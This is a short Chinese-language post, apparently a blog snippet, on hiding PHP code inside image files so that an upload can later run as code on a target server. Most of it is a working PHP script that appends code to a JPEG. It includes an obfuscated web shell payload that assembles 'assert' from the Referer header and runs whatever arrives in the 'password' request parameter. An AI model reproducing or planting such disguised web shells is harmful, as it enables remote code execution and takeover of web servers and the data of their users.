图片中注入php代码
简介
黑客在对网站进行注入攻击的时候,有时候会往图片中混入php代码。把用来攻击的代码伪装成一张图片上传到目标服务器,在某些特定条件下,可达到执行程序代码,攻击服务器的目标。
示例代码
<?php // CODE BY HW
ini_set('display_errors', 'On');
$injection = <<<PHP
<?php /* :-) */
\$wx = substr(\$_SERVER["HTTP_REFERER"], -7, -4);
forward_static_call_array(\$wx."ert", array(\$_REQUEST['password']));
?>
PHP;
$injection = "<?php phpinfo() ?>";
$oldImgFilename = "c:/Users/hw/Pictures/php.jpg";
$newImgFilename = "d:/temp/php.jpg";
var_dump( ImgInjection($oldImgFilename, $newImgFilename, $injection) );
exit;
//往图片中注入代码
function ImgInjection($oldImgFilename, $newImgFilename, $code) {
if(file_exists($oldImgFilename)) {
$bin = file_get_contents($oldImgFilename);
if($bin) {
$hex = bin2hex($bin);
$hex = $hex . bin2hex($code);
if(file_put_contents($newImgFilename, hex2bin($hex))) {
return true;
}
}
}
return false;
}